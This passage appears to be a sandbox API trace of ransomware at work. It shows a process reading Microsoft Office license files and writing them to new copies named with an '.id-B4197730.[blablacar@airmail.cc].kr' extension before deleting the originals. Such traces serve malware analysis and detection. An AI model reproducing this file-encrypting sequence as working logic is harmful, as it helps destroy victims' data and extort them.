returned -1 [0215.537] lstrlenW (lpString=".bz2") returned 4 [0215.537] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString=".7z") returned 3 [0215.537] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString=".dbf") returned 4 [0215.537] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString=".1cd") returned 4 [0215.537] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.537] lstrlenW (lpString=".jpg") returned 4 [0215.546] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.546] lstrlenW (lpString=".doc") returned 4 [0215.546] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.546] lstrlenW (lpString=".docx") returned 5 [0215.547] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.547] lstrlenW (lpString=".pdf") returned 4 [0215.547] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString=".xls") returned 4 [0215.547] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString=".xlsx") returned 5 [0215.547] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.547] lstrlenW (lpString=".ppt") returned 4 [0215.547] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.547] lstrlenW (lpString=".zip") returned 4 [0215.547] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString=".rar") returned 4 [0215.547] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString=".bz2") returned 4 [0215.547] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString=".7z") returned 3 [0215.547] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.547] lstrlenW (lpString=".dbf") returned 4 [0215.547] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.547] lstrlenW (lpString=".1cd") returned 4 [0215.547] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ppd.xrm-ms") returned 85 [0215.547] lstrlenW (lpString=".jpg") returned 4 [0215.547] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.547] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.547] lstrlenW (lpString="ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 38 [0215.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.548] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11634) returned 1 [0215.548] CloseHandle (hObject=0x478) returned 1 [0215.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0215.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.549] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.549] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.550] GetLastError () returned 0x0 [0215.550] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d72, lpOverlapped=0x0) returned 1 [0215.760] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d80, lpOverlapped=0x0) returned 1 [0215.761] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.762] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x120, lpOverlapped=0x0) returned 1 [0215.762] SetEndOfFile (hFile=0x3bc) returned 1 [0215.765] CloseHandle (hObject=0x3bc) returned 1 [0215.765] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.765] SetEndOfFile (hFile=0x478) returned 1 [0215.767] CloseHandle (hObject=0x478) returned 1 [0215.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtrial-ul-oob.xrm-ms")) returned 1 [0215.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.769] lstrlenW (lpString=".doc") returned 4 [0215.769] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.769] lstrlenW (lpString=".docx") returned 5 [0215.769] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.769] lstrlenW (lpString=".pdf") returned 4 [0215.769] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.769] lstrlenW (lpString=".xls") returned 4 [0215.769] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.769] lstrlenW (lpString=".xlsx") returned 5 [0215.769] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.769] lstrlenW (lpString=".ppt") returned 4 [0215.769] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.769] lstrlenW (lpString=".zip") returned 4 [0215.770] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".rar") returned 4 [0215.770] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".bz2") returned 4 [0215.770] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".7z") returned 3 [0215.770] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.770] lstrlenW (lpString=".dbf") returned 4 [0215.770] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.770] lstrlenW (lpString=".1cd") returned 4 [0215.770] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.770] lstrlenW (lpString=".jpg") returned 4 [0215.770] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.770] lstrlenW (lpString=".doc") returned 4 [0215.770] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".docx") returned 5 [0215.770] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.770] lstrlenW (lpString=".pdf") returned 4 [0215.770] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".xls") returned 4 [0215.770] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString=".xlsx") returned 5 [0215.770] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.770] lstrlenW (lpString=".ppt") returned 4 [0215.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.771] lstrlenW (lpString=".zip") returned 4 [0215.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.771] lstrlenW (lpString=".rar") returned 4 [0215.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.771] lstrlenW (lpString=".bz2") returned 4 [0215.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.771] lstrlenW (lpString=".7z") returned 3 [0215.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.771] lstrlenW (lpString=".dbf") returned 4 [0215.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.771] lstrlenW (lpString=".1cd") returned 4 [0215.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTrial-ul-oob.xrm-ms") returned 88 [0215.771] lstrlenW (lpString=".jpg") returned 4 [0215.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.771] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.771] lstrlenW (lpString="ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 34 [0215.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.772] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11604) returned 1 [0215.772] CloseHandle (hObject=0x478) returned 1 [0215.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0215.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.773] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.773] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.774] GetLastError () returned 0x0 [0215.774] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d54, lpOverlapped=0x0) returned 1 [0215.776] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0215.777] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.777] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0215.777] SetEndOfFile (hFile=0x3bc) returned 1 [0215.777] CloseHandle (hObject=0x3bc) returned 1 [0215.777] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.777] SetEndOfFile (hFile=0x478) returned 1 [0215.791] CloseHandle (hObject=0x478) returned 1 [0215.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-oob.xrm-ms")) returned 1 [0215.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.792] lstrlenW (lpString=".doc") returned 4 [0215.792] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.792] lstrlenW (lpString=".docx") returned 5 [0215.793] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.793] lstrlenW (lpString=".pdf") returned 4 [0215.793] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".xls") returned 4 [0215.793] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".xlsx") returned 5 [0215.793] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.793] lstrlenW (lpString=".ppt") returned 4 [0215.793] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString=".zip") returned 4 [0215.793] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".rar") returned 4 [0215.793] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".bz2") returned 4 [0215.793] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".7z") returned 3 [0215.793] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString=".dbf") returned 4 [0215.793] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString=".1cd") returned 4 [0215.793] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString=".jpg") returned 4 [0215.793] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.793] lstrlenW (lpString=".doc") returned 4 [0215.793] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.793] lstrlenW (lpString=".docx") returned 5 [0215.793] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.794] lstrlenW (lpString=".pdf") returned 4 [0215.794] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString=".xls") returned 4 [0215.794] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString=".xlsx") returned 5 [0215.794] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.794] lstrlenW (lpString=".ppt") returned 4 [0215.794] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.794] lstrlenW (lpString=".zip") returned 4 [0215.794] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString=".rar") returned 4 [0215.794] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString=".bz2") returned 4 [0215.794] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString=".7z") returned 3 [0215.794] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.794] lstrlenW (lpString=".dbf") returned 4 [0215.794] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.794] lstrlenW (lpString=".1cd") returned 4 [0215.794] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0215.794] lstrlenW (lpString=".jpg") returned 4 [0215.794] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.794] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.794] lstrlenW (lpString="ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 34 [0215.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.795] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19949) returned 1 [0215.795] CloseHandle (hObject=0x478) returned 1 [0215.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0215.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.796] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.796] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.798] GetLastError () returned 0x0 [0215.798] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4ded, lpOverlapped=0x0) returned 1 [0215.958] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4df0, lpOverlapped=0x0) returned 1 [0215.984] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.984] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0215.984] SetEndOfFile (hFile=0x3bc) returned 1 [0215.984] CloseHandle (hObject=0x3bc) returned 1 [0215.984] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.984] SetEndOfFile (hFile=0x478) returned 1 [0215.988] CloseHandle (hObject=0x478) returned 1 [0215.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_oem_perp-ul-phn.xrm-ms")) returned 1 [0215.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.989] lstrlenW (lpString=".doc") returned 4 [0215.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.990] lstrlenW 